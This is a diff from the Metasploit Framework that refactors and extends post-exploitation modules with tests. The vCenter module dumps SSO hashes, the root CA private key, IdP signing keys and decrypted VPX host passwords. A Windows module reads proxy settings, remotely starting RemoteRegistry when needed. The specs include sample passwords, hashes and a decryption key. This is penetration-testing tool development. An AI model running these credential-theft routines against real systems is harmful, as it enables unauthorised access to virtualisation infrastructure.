ldif_data = Net::LDAP::Dataset.read_ldif(ldif_file)
print_status('Processing LDIF entries ...')
print_status('Processing LDIF entries')
entries = ldif_data.to_entries
print_status('Processing SSO account hashes ...')
print_status('Processing SSO account hashes')
vmware_sso_hash_entries = entries.select { |entry| entry[:userpassword].any? }
process_hashes(vmware_sso_hash_entries)
print_status('Processing SSO identity sources ...')
print_status('Processing SSO identity sources')
vmware_sso_id_entries = entries.select { |entry| entry[:vmwSTSConnectionStrings].any? }
process_sso_providers(vmware_sso_id_entries)
if datastore['DUMP_LIC']
print_status('Extract licenses from vCenter platform ...')
print_status('Extract licenses from vCenter platform')
vmware_license_entries = entries.select { |entry| entry[:vmwLicSvcLicenseSerialKeys].any? }
get_vc_licenses(vmware_license_entries)
end
@@ -237,7 +300,7 @@ class MetasploitModule < Msf::Post
def get_vecs_entry(store_name, vecs_entry)
store_label = store_name.upcase
vprint_status("Extract #{store_label} key ...")
vprint_status("Extract #{store_label} key")
key = get_vecs_private_key(store_name, vecs_entry['Alias'])
if key.nil?
print_bad("Could not extract #{store_label} private key")
@@ -246,7 +309,7 @@ class MetasploitModule < Msf::Post
print_good("#{store_label} Key: #{p}")
end
vprint_status("Extract #{store_label} certificate ...")
vprint_status("Extract #{store_label} certificate")
cert = validate_x509_cert(vecs_entry['Certificate'])
if cert.nil?
print_bad("Could not extract #{store_label} certificate")
@@ -261,7 +324,7 @@ class MetasploitModule < Msf::Post
end
def get_vmca_cert
vprint_status('Extract VMCA_ROOT key ...')
vprint_status('Extract VMCA_ROOT key')
unless file_exist?('/var/lib/vmware/vmca/privatekey.pem') && file_exist?('/var/lib/vmware/vmca/root.cer')
print_error('Could not locate VMCA_ROOT keypair')
@@ -279,7 +342,7 @@ class MetasploitModule < Msf::Post
p = store_loot('vmca', 'PEM', rhost, vmca_key, 'VMCA_ROOT.key', 'vCenter VMCA root CA private key')
print_good("VMCA_ROOT key: #{p}")
vprint_status('Extract VMCA_ROOT cert ...')
vprint_status('Extract VMCA_ROOT cert')
vmca_cert_b64 = read_file('/var/lib/vmware/vmca/root.cer')
vmca_cert = validate_x509_cert(vmca_cert_b64)
@@ -488,7 +551,7 @@ class MetasploitModule < Msf::Post
end
def get_idp_creds
vprint_status('Fetching objectclass=vmwSTSTenantCredential via vmdir LDAP ...')
vprint_status('Fetching objectclass=vmwSTSTenantCredential via vmdir LDAP')
idp_keys = get_idp_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
if idp_keys.nil?
print_error('Error processing IdP trusted certificate private key')
@@ -501,7 +564,7 @@ class MetasploitModule < Msf::Post
return
end
vprint_status('Parsing vmwSTSTenantCredential certificates and keys ...')
vprint_status('Parsing vmwSTSTenantCredential certificates and keys')
# vCenter vmdir stores the STS IdP signing credential under the following DN:
# cn=TenantCredential-1,cn=<sso domain>,cn=Tenants,cn=IdentityManager,cn=Services,<root dn>
@@ -590,7 +653,7 @@ class MetasploitModule < Msf::Post
enc_cert_der = []
der_idx = 0
print_status('Validating data encipherment key ...')
print_status('Validating data encipherment key')
while der_idx <= enc_cert_len - 1
enc_cert_der << xmldoc.at_xpath("/ConfigRoot/encryptionKey/e[@id=#{der_idx}]").text.to_i
der_idx += 1
@@ -759,13 +822,55 @@ class MetasploitModule < Msf::Post
}
store_valid_credential(user: vcdb_user, private: vcdb_pass, service_data: extra_service_data)
print_status('Checking for VPX Users')
creds = query_vpx_creds(vcdb_pass, vcdb_user, vcdb_name, vc_sym_key_raw)
if creds.nil?
print_bad('No VPXUSER entries were found')
return
end
creds.each do |cred|
extra_service_data = {
address: cred['ip_address'],
service_name: 'vpx',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: vcdb_name
}
if cred.key? 'decrypted_password'
print_good("VPX Host creds found: #{cred['user']}, #{cred['decrypted_password']} for #{cred['ip_address']}")
credential_data = {
username: cred['user'],
private_data: cred['decrypted_password'],
private_type: :password
}.merge(extra_service_data)
else
print_good("VPX Host creds found: #{cred['user']}, #{cred['password_hash']} for #{cred['ip_address']}")
credential_data = {
username: cred['user'],
private_data: cred['password_hash'],
private_type: :nonreplayable_hash
# this is encrypted, not hashed, so no need for the following line, leaving it as a note
# jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])
}.merge(extra_service_data)
end
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(extra_service_data)
create_credential_login(login_data)
end
end
def validate_sts_cert(test_cert)
cert = validate_x509_cert(test_cert)
return false if cert.nil?
vprint_status('Downloading advertised IDM tenant certificate chain from http://localhost:7080/idm/tenant/ on local vCenter ...')
vprint_status('Downloading advertised IDM tenant certificate chain from http://localhost:7080/idm/tenant/ on local vCenter')
idm_cmd = cmd_exec("curl -f -s http://localhost:7080/idm/tenant/#{base_fqdn}/certificates?scope=TENANT")
@@ -795,15 +900,6 @@ class MetasploitModule < Msf::Post
end
def validate_target
# this enumeration phase will also go away once the sso part moves to lib
vprint_status('Enumerating universal vSphere binaries ...')
vsphere_bin.each do |k, v|
vprint_good("\t#{k}: #{v}")
unless command_exists?(v)
fail_with(Msf::Exploit::Failure::NoTarget, "Could not find #{v}")
end
end
if vcenter_management
vc_db_type = get_database_type
unless vc_db_type == 'embedded'
+6 -1
View File
@@ -25,7 +25,12 @@ class MetasploitModule < Msf::Post
'Aaron Soto <aaron_soto[at]rapid7.com>'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
'SessionTypes' => %w[meterpreter powershell shell],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
end
+50 -40
View File
@@ -4,7 +4,8 @@
##
class MetasploitModule < Msf::Post
include Post::Windows::Services
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Services
def initialize
super(
@@ -12,12 +13,17 @@ class MetasploitModule < Msf::Post
'Description' => %q{
This module pulls a user's proxy settings. If neither RHOST or SID
are set it pulls the current user, else it will pull the user's settings
specified SID and target host.
for the specified SID and target host.
},
'Author' => [ 'mubix' ],
'License' => MSF_LICENSE,
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'SessionTypes' => %w[meterpreter powershell shell],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
@@ -28,80 +34,84 @@ class MetasploitModule < Msf::Post
}
)
register_options(
[
OptAddress.new('RHOST', [ false, 'Remote host to clone settings to, defaults to local' ]),
OptString.new('SID', [ false, 'SID of user to clone settings to (SYSTEM is S-1-5-18)' ])
]
)
register_options([
OptAddress.new('RHOST', [ false, 'Remote host to clone settings to, defaults to local' ]),
OptString.new('SID', [ false, 'SID of user to clone settings to (SYSTEM is S-1-5-18)' ])
])
end
def run
if datastore['SID']
root_key, base_key = session.sys.registry.splitkey("HKU\\#{datastore['SID']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
root_key, base_key = split_key("HKU\\#{datastore['SID']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
else
root_key, base_key = session.sys.registry.splitkey("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections")
root_key, base_key = split_key('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections')
end
if datastore['RHOST']
if session.type != 'meterpreter'
fail_with(Failure::BadConfig, "Cannot query remote registry on #{datastore['RHOST']}. Unsupported sesssion type #{session.type}")
end
begin
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Unable to contact remote registry service on #{datastore['RHOST']}")
print_status("Attempting to start service remotely...")
print_status('Attempting to start RemoteRegistry service remotely...')
begin
service_start('RemoteRegistry', datastore['RHOST'])
rescue
print_error('Unable to read registry or start the service, exiting...')
return
rescue StandardError
fail_with(Failure::Unknown, 'Unable to start RemoteRegistry service, exiting...')
end
startedreg = true
key = session.sys.registry.open_remote_key(datastore['RHOST'], root_key)
end
open_key = key.open_key(base_key)
values = open_key.query_value('DefaultConnectionSettings')
data = values.data
# If we started the service we need to stop it.
service_stop('RemoteRegistry', datastore['RHOST']) if startedreg
else
open_key = session.sys.registry.open_key(root_key, base_key)
data = registry_getvaldata("#{root_key}\\#{base_key}", 'DefaultConnectionSettings')
end
values = open_key.query_value('DefaultConnectionSettings')
fail_with(Failure::Unknown, "Could not retrieve 'DefaultConnectionSettings' data") if data.blank?
fail_with(Failure::Unknown, "Retrieved malformed proxy settings (too small: #{data.length} bytes <= 24 bytes)") if data.length <= 24
# If we started the service we need to stop it.
service_stop('RemoteRegistry', datastore['RHOST']) if startedreg
print_status("Proxy Counter = #{data[4, 1].unpack('C*')[0]}")
data = values.data
print_status "Proxy Counter = #{(data[4, 1].unpack('C*'))[0]}"
case (data[8, 1].unpack('C*'))[0]
case data[8, 1].unpack('C*')[0]
when 1
print_status "Setting: No proxy settings"
print_status('Setting: No proxy settings')
when 3
print_status "Setting: Proxy server"
print_status('Setting: Proxy server')
when 5
print_status "Setting: Set proxy via AutoConfigure script"
print_status('Setting: Set proxy via AutoConfigure script')
when 7
print_status "Setting: Proxy server and AutoConfigure script"
print_status('Setting: Proxy server and AutoConfigure script')
when 9
print_status "Setting: WPAD"
print_status('Setting: WPAD')
when 11
print_status "Setting: WPAD and Proxy server"
print_status('Setting: WPAD and Proxy server')
when 13
print_status "Setting: WPAD and AutoConfigure script"
print_status('Setting: WPAD and AutoConfigure script')
when 15
print_status "Setting: WPAD, Proxy server and AutoConfigure script"
print_status('Setting: WPAD, Proxy server and AutoConfigure script')
else
print_status "Setting: Unknown proxy setting found"
print_status('Setting: Unknown proxy setting found')
end
cursor = 12
proxyserver = data[cursor + 4, (data[cursor, 1].unpack('C*'))[0]]
print_status "Proxy Server: #{proxyserver}" if proxyserver != ""
proxyserver = data[cursor + 4, data[cursor, 1].unpack('C*')[0]]
print_status("Proxy Server: #{proxyserver}") unless proxyserver.blank?
cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
additionalinfo = data[cursor + 4, (data[cursor, 1].unpack('C*'))[0]]
print_status "Additional Info: #{additionalinfo}" if additionalinfo != ""
cursor = cursor + 4 + data[cursor].unpack('C*')[0]
additionalinfo = data[cursor + 4, data[cursor, 1].unpack('C*')[0]]
print_status("Additional Info: #{additionalinfo}") unless additionalinfo.blank?
cursor = cursor + 4 + (data[cursor].unpack('C*'))[0]
autoconfigurl = data[cursor + 4, (data[cursor, 1].unpack('C*'))[0]]
print_status "AutoConfigURL: #{autoconfigurl}" if autoconfigurl != ""
cursor = cursor + 4 + data[cursor].unpack('C*')[0]
autoconfigurl = data[cursor + 4, data[cursor, 1].unpack('C*')[0]]
print_status("AutoConfigURL: #{autoconfigurl}") unless autoconfigurl.blank?
end
end
+1 -1
View File
@@ -70,7 +70,7 @@ class MetasploitModule < Msf::Post
end
#
# Returns the the key combinations required to invoke the exploit once installed.
# Returns the key combinations required to invoke the exploit once installed.
#
def get_target_key_combo
case datastore['TARGET']
@@ -0,0 +1,274 @@
require 'spec_helper'
RSpec.describe Msf::Post::Vcenter::Database do
subject do
mod = Msf::Module.new
mod.extend(Msf::Post::Vcenter::Database)
mod
end
describe '#process_pgpass_file' do
context 'when the file does not exist' do
it 'returns nil' do
allow(subject).to receive(:file_exist?).and_return(false)
expect(subject.process_pgpass_file).to be_nil
end
end
context 'when the file is empty' do
it 'returns nil' do
allow(subject).to receive(:file_exist?).and_return(true)
allow(subject).to receive(:read_file).and_return('')
expect(subject.process_pgpass_file).to be_nil
end
end
context 'when the file has several credentials' do
it 'returns a list of hashes with the credentials' do
allow(subject).to receive(:file_exist?).and_return(true)
allow(subject).to receive(:read_file).and_return('localhost:5432:replication:replicator:BN^qgk&a)Ee2dK@|
127.0.0.1:5432:replication:replicator:BN^qgk&a)Ee2dK@|
/var/run/vpostgres:5432:replication:replicator:BN^qgk&a)Ee2dK@|
localhost:5432:postgres:postgres:i23rYgoPBQwpn!5
127.0.0.1:5432:postgres:postgres:i23rYgoPBQwpn!5')
expect(subject.process_pgpass_file).to eq([
{
'database' => 'replication',
'hostname' => 'localhost',
'password' => 'BN^qgk&a)Ee2dK@|',
'port' => '5432',
'username' => 'replicator'
},
{
'database' => 'replication',
'hostname' => '127.0.0.1',
'password' => 'BN^qgk&a)Ee2dK@|',
'port' => '5432',
'username' => 'replicator'
},
{
'database' => 'replication',
'hostname' => '/var/run/vpostgres',
'password' => 'BN^qgk&a)Ee2dK@|',
'port' => '5432',
'username' => 'replicator'
},
{
'database' => 'postgres',
'hostname' => 'localhost',
'password' => 'i23rYgoPBQwpn!5',
'port' => '5432',
'username' => 'postgres'
},
{
'database' => 'postgres',
'hostname' => '127.0.0.1',
'password' => 'i23rYgoPBQwpn!5',
'port' => '5432',
'username' => 'postgres'
}
])
end
end
context 'when the file has * for a port in the credentials' do
it 'returns a list of hashes with the port set to 5432' do
allow(subject).to receive(:file_exist?).and_return(true)
allow(subject).to receive(:read_file).and_return('localhost:*:replication:replicator:BN^qgk&a)Ee2dK@|')
expect(subject.process_pgpass_file).to eq([
{
'database' => 'replication',
'hostname' => 'localhost',
'password' => 'BN^qgk&a)Ee2dK@|',
'port' => '5432',
'username' => 'replicator'
}
])
end
end
end
describe '#query_pg_shadow_values' do
context 'when the command does not exist' do
it 'returns nil' do
allow(subject).to receive(:command_exists?).and_return(false)
expect(subject.query_pg_shadow_values('test', 'test', 'test')).to be_nil
end
end
context 'when the command fails to find an entry' do
it 'returns an empty array' do
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('this is not valid')
expect(subject.query_pg_shadow_values('test', 'test', 'test')).to eq([])
end
end
context 'when the command returns several entries' do
it 'returns an array of hashes with the credentails' do
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return("postgres|md5fdb13b980a01e3d1ae99b5b55b6e4303\nreplicator|md5c2a01981014a380b63c0c7c66ad77ba9\nvc|md53b5a9fc0dd6c99567e9ca27c459b43d9\nvumuser|md5fc719b1b56f02981027379fd15125feb\ncns|md5d92e4534c059354dee12a7cc9a79faff")
expect(subject.query_pg_shadow_values('test', 'test', 'test')).to eq([
{ 'password_hash' => 'md5fdb13b980a01e3d1ae99b5b55b6e4303', 'user' => 'postgres' },
{ 'password_hash' => 'md5c2a01981014a380b63c0c7c66ad77ba9', 'user' => 'replicator' },
{ 'password_hash' => 'md53b5a9fc0dd6c99567e9ca27c459b43d9', 'user' => 'vc' },
{ 'password_hash' => 'md5fc719b1b56f02981027379fd15125feb', 'user' => 'vumuser' },
{ 'password_hash' => 'md5d92e4534c059354dee12a7cc9a79faff', 'user' => 'cns' }
])
end
end
context 'when the command returns several entries and one has no password hash' do
it 'returns an array of hashes with the credentails without the hashless credential' do
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('postgres|md5fdb13b980a01e3d1ae99b5b55b6e4303
archiver|')
expect(subject.query_pg_shadow_values('test', 'test', 'test')).to eq([
{ 'password_hash' => 'md5fdb13b980a01e3d1ae99b5b55b6e4303', 'user' => 'postgres' }
])
end
end
end
describe '#query_pg_shadow_values' do
context 'when the command does not exist' do
it 'returns nil' do
allow(subject).to receive(:command_exists?).and_return(false)
expect(subject.query_vpx_creds('test', 'test', 'test')).to be_nil
end
end
context 'when the command fails to find an entry' do
it 'returns an empty array' do
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('this is not valid')
expect(subject.query_vpx_creds('test', 'test', 'test')).to eq([])
end
end
context 'when the command returns valid entries without a symkey' do
it 'returns an array of hashes with the credentials' do
# combination of https://github.com/rapid7/metasploit-framework/pull/16465#issuecomment-1117587575
# and https://github.com/shmilylty/vhost_password_decrypt
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return("vpxuser|*tktZGW50GH4BEOXyWCr9WTu2PSMGWSvcqEsuAMnwcNuFO/rQPRsOyygRRY/WaM3IOI/BrqcThiaiM3j4Jw+KtA==|192.168.20.20|192.168.20.10|192.168.20.10\nvpxuser|*ZdvmNiLEXzZL/uhdW6Zb4Px4RR72iD+xftdA0n9hJ8xpFNJW/axpyKMQ8BJWIFTzzoxQnAm2PaX486yExLX7qg==|192.168.20.20|192.168.20.15|test1.local")
expect(subject.query_vpx_creds('test', 'test', 'test')).to eq([
{
'dns_name' => '192.168.20.10',
'encrypted_password' =>
'*tktZGW50GH4BEOXyWCr9WTu2PSMGWSvcqEsuAMnwcNuFO/rQPRsOyygRRY/WaM3IOI/BrqcThiaiM3j4Jw+KtA==',
'ip_address' => '192.168.20.10',
'local_ip' => '192.168.20.20',
'user' => 'vpxuser'
},
{
'dns_name' => 'test1.local',
'encrypted_password' =>
'*ZdvmNiLEXzZL/uhdW6Zb4Px4RR72iD+xftdA0n9hJ8xpFNJW/axpyKMQ8BJWIFTzzoxQnAm2PaX486yExLX7qg==',
'ip_address' => '192.168.20.15',
'local_ip' => '192.168.20.20',
'user' => 'vpxuser'
}
])
end
end
context 'when the command returns valid entries with a symkey' do
it 'returns an array of hashes with the credentials with a decrypted_password field' do
# combination of https://github.com/rapid7/metasploit-framework/pull/16465#issuecomment-1117587575
# and https://github.com/shmilylty/vhost_password_decrypt
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('vpxuser|*SN2otuvNvGRSC29lxhU4XQbgNOMyVawGF4UHA38w2zq59tX0WzkgkQTNBJSJpHvBvkYwyiR8xNAv1oquEOOLvQ==|192.168.20.20|192.168.20.15|test1.local')
expect(subject.query_vpx_creds('test', 'test', 'test', 'f1d0d054e43ac880809c354cec681b3433e36fc4ea6b1480de05b7b86c3506cd')).to eq([
{
'dns_name' => 'test1.local',
'encrypted_password' =>
'*SN2otuvNvGRSC29lxhU4XQbgNOMyVawGF4UHA38w2zq59tX0WzkgkQTNBJSJpHvBvkYwyiR8xNAv1oquEOOLvQ==',
'ip_address' => '192.168.20.15',
'local_ip' => '192.168.20.20',
'user' => 'vpxuser',
'decrypted_password' => '-KOU.80J\I0n\Pcqya3F0af=z5Ix-5.u'
}
])
end
end
context 'when the command returns valid entries with an invalid symkey' do
it 'returns an array of hashes with the credentials with a decrypted_password field' do
# combination of https://github.com/rapid7/metasploit-framework/pull/16465#issuecomment-1117587575
# and https://github.com/shmilylty/vhost_password_decrypt
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('vpxuser|*SN2otuvNvGRSC29lxhU4XQbgNOMyVawGF4UHA38w2zq59tX0WzkgkQTNBJSJpHvBvkYwyiR8xNAv1oquEOOLvQ==|192.168.20.20|192.168.20.15|test1.local')
expect(subject.query_vpx_creds('test', 'test', 'test', 'bad0d054e43ac880809c354cec681b3433e36fc4ea6b1480de05b7b86c3506cd')).to eq([
{
'dns_name' => 'test1.local',
'encrypted_password' =>
'*SN2otuvNvGRSC29lxhU4XQbgNOMyVawGF4UHA38w2zq59tX0WzkgkQTNBJSJpHvBvkYwyiR8xNAv1oquEOOLvQ==',
'ip_address' => '192.168.20.15',
'local_ip' => '192.168.20.20',
'user' => 'vpxuser'
}
])
end
end
end
# XXX need to add a real user test
describe '#get_vpx_users' do
context 'when the command does not exist' do
it 'returns nil' do
allow(subject).to receive(:command_exists?).and_return(false)
expect(subject.get_vpx_users('test', 'test', 'test', 'test')).to be_nil
end
end
context 'when the command does not return expected content' do
it 'returns empty array' do
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('this is not valid')
expect(subject.get_vpx_users('test', 'test', 'test', 'test')).to eq([])
end
end
context 'when the command succeeds' do
it 'returns array of hashes with credentials' do
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('localhost|127.0.0.1|root|*')
# we need to convert the XML:Doc back to a string so it can be tested correctly
expect(subject.get_vpx_users('test', 'test', 'test', 'test')).to eq([
{
'fqdn' => 'localhost',
'ip' => '127.0.0.1',
'user' => 'root',
'password' => ''
}
])
end
# XXX need to add a valid test where we actually decrypt something
end
end
describe '#query_pg_shadow_values' do
context 'when the command does not exist' do
it 'returns nil' do
allow(subject).to receive(:command_exists?).and_return(false)
expect(subject.get_vpx_customization_spec('test', 'test', 'test')).to be_nil
end
end
context 'when the command doesnt return expected content' do
it 'returns empty hash' do
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('this is not valid')
expect(subject.get_vpx_customization_spec('test', 'test', 'test')).to eq({})
end
end
context 'when the command returns a valid entry' do
it 'returns a valid processed XML doc' do
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('<xml></xml>')
# we need to convert the XML:Doc back to a string so it can be tested correctly
expect(subject.get_vpx_customization_spec('test', 'test', 'test').map { |k, v| [k.to_s, v.to_s] }.to_h).to eq({ '<xml></xml>' => "<?xml version=\"1.0\"?>\n<xml/>\n" })
end
end
end
end
+2 -44
View File
@@ -332,50 +332,6 @@ RSpec.describe Msf::Post::Vcenter::Vcenter do
end
end
context 'gets vpx coustomization xml' do
it 'from failing to find command' do
allow(subject).to receive(:command_exists?).and_return(false)
expect(subject.get_vpx_customization_spec('test', 'test', 'test')).to be_nil
end
it 'from failing to get a valid entry' do
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('this is not valid')
expect(subject.get_vpx_customization_spec('test', 'test', 'test')).to eq({})
end
it 'with a valid entry' do
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('<xml></xml>')
# we need to convert the XML:Doc back to a string so it can be tested correctly
expect(subject.get_vpx_customization_spec('test', 'test', 'test').map { |k, v| [k.to_s, v.to_s] }.to_h).to eq({ '<xml></xml>' => "<?xml version=\"1.0\"?>\n<xml/>\n" })
end
end
# XXX need to add a real user test
context 'gets vpx users' do
it 'from failing to find command' do
allow(subject).to receive(:command_exists?).and_return(false)
expect(subject.get_vpx_users('test', 'test', 'test', 'test')).to be_nil
end
it 'from failing to get a valid entry' do
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('this is not valid')
expect(subject.get_vpx_users('test', 'test', 'test', 'test')).to eq([])
end
it 'with a valid entry' do
allow(subject).to receive(:command_exists?).and_return(true)
allow(subject).to receive(:cmd_exec).and_return('localhost|127.0.0.1|root|*')
# we need to convert the XML:Doc back to a string so it can be tested correctly
expect(subject.get_vpx_users('test', 'test', 'test', 'test')).to eq([
{
'fqdn' => 'localhost',
'ip' => '127.0.0.1',
'user' => 'root',
'password' => ''
}
])
end
# XXX need to add a valid test where we actually decrypt something
end
context 'gets vcdb properties' do
it 'from failing to find command' do
allow(subject).to receive(:file_exist?).and_return(false)
@@ -384,10 +340,12 @@ RSpec.describe Msf::Post::Vcenter::Vcenter do
it 'from failing to get a valid entry' do
allow(subject).to receive(:file_exist?).and_return(true)
allow(subject).to receive(:read_file).and_return('this is not valid')
allow(subject).to receive(:is_root?).and_return(true)
expect(subject.process_vcdb_properties_file).to eq({})
end
it 'and processes them correctly' do
allow(subject).to receive(:file_exist?).and_return(true)
allow(subject).to receive(:is_root?).and_return(true)
allow(subject).to receive(:read_file).and_return("driver = org.postgresql.Driver\ndbtype = PostgreSQL\nurl = jdbc:postgresql://localhost:5432/VCDB\nusername = vc\npassword = MB&|<)haN6Q>{K3O\npassword.encrypted = false")
expect(subject.process_vcdb_properties_file).to eq({
'driver' => 'org.postgresql.Driver',